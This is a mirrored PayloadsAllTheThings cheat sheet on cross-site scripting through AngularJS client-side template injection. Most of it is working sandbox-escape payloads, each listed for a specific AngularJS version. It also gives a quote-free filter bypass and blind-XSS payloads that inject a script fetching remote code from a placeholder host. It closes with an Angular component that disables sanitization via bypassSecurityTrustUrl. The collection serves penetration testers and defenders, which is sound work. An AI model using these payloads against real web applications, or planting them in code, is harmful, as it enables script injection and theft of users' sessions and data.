mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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0266a7dd67
Added one payload which executes without any usage of single or double quotes. Helpful when you have AngularJS injection but quotes are blocked by application. Working proof of payload here: https://portswigger-labs.net/xss/angularjs.php?type=reflected&csp=0&version=1.6.0&x={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
310 lines
8.8 KiB
Markdown
310 lines
8.8 KiB
Markdown
# XSS in Angular and AngularJS
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## Client Side Template Injection
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The following payloads are based on Client Side Template Injection.
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### Stored/Reflected XSS - Simple alert in AngularJS
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> AngularJS as of version 1.6 have removed the sandbox altogether
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AngularJS 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)
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```javascript
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{{constructor.constructor('alert(1)')()}}
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```
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AngularJS 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
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```javascript
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{{[].pop.constructor('alert\u00281\u0029')()}}
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```
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Example available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)
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AngularJS 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) & [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)
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```javascript
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{{0[a='constructor'][a]('alert(1)')()}}
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{{$eval.constructor('alert(1)')()}}
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{{$on.constructor('alert(1)')()}}
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```
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AngularJS 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)
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```javascript
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{{
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c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
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c.$apply=$apply;c.$eval=b;op=$root.$$phase;
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$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
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C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
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B=C(b,c,b);$evalAsync("
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astNode=pop();astNode.type='UnaryExpression';
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astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
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astNode.argument={type:'Identifier',name:'foo'};
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");
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m1=B($$asyncQueue.pop().expression,null,$root);
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m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
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$eval('a(b.c)');[].push.apply=a;
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}}
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```
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AngularJS 1.5.0 - 1.5.8
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```javascript
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{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
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```
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AngularJS 1.4.0 - 1.4.9
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```javascript
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{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
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```
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AngularJS 1.3.20
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```javascript
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{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
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```
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AngularJS 1.3.19
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```javascript
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{{
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'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
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$eval('x=alert(1)//');
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}}
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```
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AngularJS 1.3.3 - 1.3.18
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```javascript
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{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
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'a'.constructor.prototype.charAt=[].join;
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$eval('x=alert(1)//'); }}
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```
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AngularJS 1.3.1 - 1.3.2
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```javascript
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{{
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{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
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'a'.constructor.prototype.charAt=''.valueOf;
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$eval('x=alert(1)//');
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}}
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```
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AngularJS 1.3.0
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```javascript
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{{!ready && (ready = true) && (
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!call
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? $$watchers[0].get(toString.constructor.prototype)
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: (a = apply) &&
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(apply = constructor) &&
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(valueOf = call) &&
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(''+''.toString(
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'F = Function.prototype;' +
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'F.apply = F.a;' +
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'delete F.a;' +
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'delete F.valueOf;' +
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'alert(1);'
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))
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);}}
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```
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AngularJS 1.2.24 - 1.2.29
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```javascript
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{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
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```
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AngularJS 1.2.19 - 1.2.23
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```javascript
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{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
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```
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AngularJS 1.2.6 - 1.2.18
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```javascript
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{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
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```
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AngularJS 1.2.2 - 1.2.5
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```javascript
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{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
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```
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AngularJS 1.2.0 - 1.2.1
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```javascript
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{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
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```
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AngularJS 1.0.1 - 1.1.5 and Vue JS
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```javascript
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{{constructor.constructor('alert(1)')()}}
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```
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### Advanced bypassing XSS
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AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
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```javascript
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{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
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```
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### Blind XSS
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1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
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```javascript
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{{
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constructor.constructor("var _ = document.createElement('script');
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_.src='//localhost/m';
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document.getElementsByTagName('body')[0].appendChild(_)")()
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}}
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```
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Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
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```javascript
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{{
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$on.constructor("var _ = document.createElement('script');
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_.src='//localhost/m';
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document.getElementsByTagName('body')[0].appendChild(_)")()
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}}
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```
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1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
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```javascript
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{{
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a="a"["constructor"].prototype;a.charAt=a.trim;
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$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
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_\\x2esrc=\'//localhost/m\';
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document\\x2ebody\\x2eappendChild(_);`),"')
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}}
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```
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1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
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```javascript
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{{
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(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
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var _ = document.createElement(\'script\');
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_.src=\'//localhost/m\';
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document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
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}}
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```
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1.2.19 (FireFox) by Mathias Karlsson
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```javascript
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{{
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toString.constructor.prototype.toString=toString.constructor.prototype.call;
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["a",'eval("var _ = document.createElement(\'script\');
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_.src=\'//localhost/m\';
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document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
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}}
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```
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1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
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```javascript
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{{
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a="a"["constructor"].prototype;a.charAt=a.trim;
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$eval('a",eval(`
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var _=document\\x2ecreateElement(\'script\');
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_\\x2esrc=\'//localhost/m\';
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document\\x2ebody\\x2eappendChild(_);`),"')
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}}
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```
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1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
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```javascript
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{{
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a=toString().constructor.prototype;a.charAt=a.trim;
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$eval('a,eval(`
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var _=document\\x2ecreateElement(\'script\');
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_\\x2esrc=\'//localhost/m\';
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document\\x2ebody\\x2eappendChild(_);`),a')
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}}
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```
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1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
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```javascript
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{{
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a=toString().constructor.prototype;a.charAt=a.trim;
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$eval('a,eval(`var _=document.createElement(\'script\');
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_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
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}}
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```
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1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
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```javascript
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{{
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c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
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c.$eval=b;op=$root.$$phase;
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$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
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C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
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B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
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m1=B($$asyncQueue.pop().expression,null,$root);
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m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
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$eval('a(b.c)');[].push.apply=a;
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}}
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```
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## Automatic Sanitization
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> To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.
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However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:
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- bypassSecurityTrustHtml
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- bypassSecurityTrustScript
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- bypassSecurityTrustStyle
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- bypassSecurityTrustUrl
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- bypassSecurityTrustResourceUrl
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Example of a component using the unsecure method `bypassSecurityTrustUrl`:
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```
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import { Component, OnInit } from '@angular/core';
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@Component({
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selector: 'my-app',
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template: `
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<h4>An untrusted URL:</h4>
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<p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
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<h4>A trusted URL:</h4>
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<p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
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`,
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})
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export class App {
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constructor(private sanitizer: DomSanitizer) {
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this.dangerousUrl = 'javascript:alert("Hi there")';
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this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
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}
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}
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```
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![XSS](https://angular.io/generated/images/guide/security/bypass-security-component.png)
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When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.
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## References
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- [XSS without HTML - CSTI with Angular JS - Portswigger](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs)
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- [Blind XSS AngularJS Payloads](https://ardern.io/2018/12/07/angularjs-bxss)
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- [Angular Security](https://angular.io/guide/security)
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- [Bypass DomSanitizer](https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b)
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